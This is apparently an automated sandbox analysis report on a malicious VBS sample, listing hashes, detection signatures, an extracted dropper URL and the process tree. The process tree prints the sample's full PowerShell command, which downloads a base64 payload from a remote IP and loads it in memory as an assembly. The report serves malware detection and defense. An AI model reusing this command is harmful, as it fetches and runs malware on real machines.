Analysis
- max time kernel
30s - max time network
65s - platform
windows11-21h2_x64 - resource
win11-20241023-en - resource tags
- submitted
21/12/2024, 22:57
General
- Target 0a08857b3b6b52510c544f54f8b7489038e371a85db858ad3c34c4f7198da819.vbs
- Size 195KB
- Sample241221-2xpr2atjar
- SHA256 0a08857b3b6b52510c544f54f8b7489038e371a85db858ad3c34c4f7198da819
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://20.7.14.99/dll/dll_ink.pdf
Signatures
- Blocklisted process makes network request 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0a08857b3b6b52510c544f54f8b7489038e371a85db858ad3c34c4f7198da819.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.om/ort/gmi/moc.nesnez-igoto//:sptth'))2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_lto0mu5t.bft.ps1
memory/4240-0-0x00007FFB35D43000-0x00007FFB35D45000-memory.dmp
memory/4240-1-0x0000029CC3E60000-0x0000029CC3E82000-memory.dmp
memory/4240-10-0x00007FFB35D40000-0x00007FFB36802000-memory.dmp
memory/4240-11-0x00007FFB35D40000-0x00007FFB36802000-memory.dmp
memory/4240-12-0x00007FFB35D40000-0x00007FFB36802000-memory.dmp
memory/4240-13-0x00007FFB35D43000-0x00007FFB35D45000-memory.dmp
memory/4240-14-0x00007FFB35D40000-0x00007FFB36802000-memory.dmp
memory/4240-17-0x00007FFB35D40000-0x00007FFB36802000-memory.dmp